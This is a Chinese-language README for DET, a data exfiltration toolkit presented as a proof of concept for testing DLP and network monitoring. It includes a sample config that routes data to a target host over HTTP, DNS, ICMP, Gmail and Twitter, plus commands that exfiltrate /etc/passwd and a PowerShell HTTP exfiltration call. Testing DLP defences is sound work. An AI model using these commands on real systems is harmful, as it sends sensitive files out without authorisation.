DET(按原样提供)是一个概念验证,用于通过单个或多个通道同时执行数据外泄。
这是一个概念验证,旨在识别可能的DLP漏洞。绝不应将其用于外泄敏感/实时数据(例如在评估中)。
其思路是创建一个通用工具包,以接入任何类型的协议/服务,测试已实施的网络监控和数据泄漏防护(DLP)解决方案配置对不同数据外泄技术的反应。
主仓库现已移至此处。
DET已于2016年3月9日在BSides Ljubljana上展示,幻灯片将在此处提供。 幻灯片可在此处获取:此处。
克隆仓库:
git clone https://github.com/sensepost/DET.git
然后:
pip install -r requirements.txt --user
要使用DET,你需要配置它并添加正确的设置(例如SMTP/IMAP、AES256加密短语等)。已提供一个配置示例文件,名为:config-sample.json
{
"plugins": {
"http": {
"target": "192.168.1.101",
"port": 8080
},
"google_docs": {
"target": "192.168.1.101",
"port": 8080,
},
"dns": {
"key": "google.com",
"target": "192.168.1.101",
"port": 53
},
"gmail": {
"username": "[email protected]",
"password": "ReallyStrongPassword",
"server": "smtp.gmail.com",
"port": 587
},
"tcp": {
"target": "192.168.1.101",
"port": 6969
},
"udp": {
"target": "192.168.1.101",
"port": 6969
},
"twitter": {
"username": "PaulWebSec",
"CONSUMER_TOKEN": "XXXXXXXXX",
"CONSUMER_SECRET": "XXXXXXXXX",
"ACCESS_TOKEN": "XXXXXXXXX",
"ACCESS_TOKEN_SECRET": "XXXXXXXXX"
},
"icmp": {
"target": "192.168.1.101"
}
},
"AES_KEY": "THISISACRAZYKEY",
"sleep_time": 10
}
python det.py -h
usage: det.py [-h] [-c CONFIG] [-f FILE] [-d FOLDER] [-p PLUGIN] [-e EXCLUDE]
[-L]
Data Exfiltration Toolkit (SensePost)
optional arguments:
-h, --help show this help message and exit
-c CONFIG Configuration file (eg. '-c ./config-sample.json')
-f FILE File to exfiltrate (eg. '-f /etc/passwd')
-d FOLDER Folder to exfiltrate (eg. '-d /etc/')
-p PLUGIN Plugins to use (eg. '-p dns,twitter')
-e EXCLUDE Plugins to exclude (eg. '-e gmail,icmp')
-L Server mode
加载所有插件:
python det.py -L -c ./config.json
仅加载 twitter 和 gmail 模块:
python det.py -L -c ./config.json -p twitter,gmail
加载所有插件并排除 DNS:
python det.py -L -c ./config.json -e dns
加载所有插件:
python det.py -c ./config.json -f /etc/passwd
仅加载 twitter 和 gmail 模块:
python det.py -c ./config.json -p twitter,gmail -f /etc/passwd
加载所有插件并排除 DNS:
python det.py -c ./config.json -e dns -f /etc/passwd
以及在 PowerShell 中(HTTP 模块):
PS C:\Users\user01\Desktop>
PS C:\Users\user01\Desktop> . .\http_exfil.ps1
PS C:\Users\user01\Desktop> HTTP-exfil 'C:\path\to\file.exe'
目前,DET 支持多种协议,列出如下:
以及其他“服务”:
目前,我正在实现即将发布的新模块,包括:
一些非常酷的参考/致谢,我从以下项目中获得了灵感:
你可以在 Twitter @PaulWebSec 上找到我。 如果你愿意贡献,欢迎 clone、fork、提交 PR 等。
DET 采用 MIT 许可证。 超出此许可证范围的权限可通过 [email protected] 获取。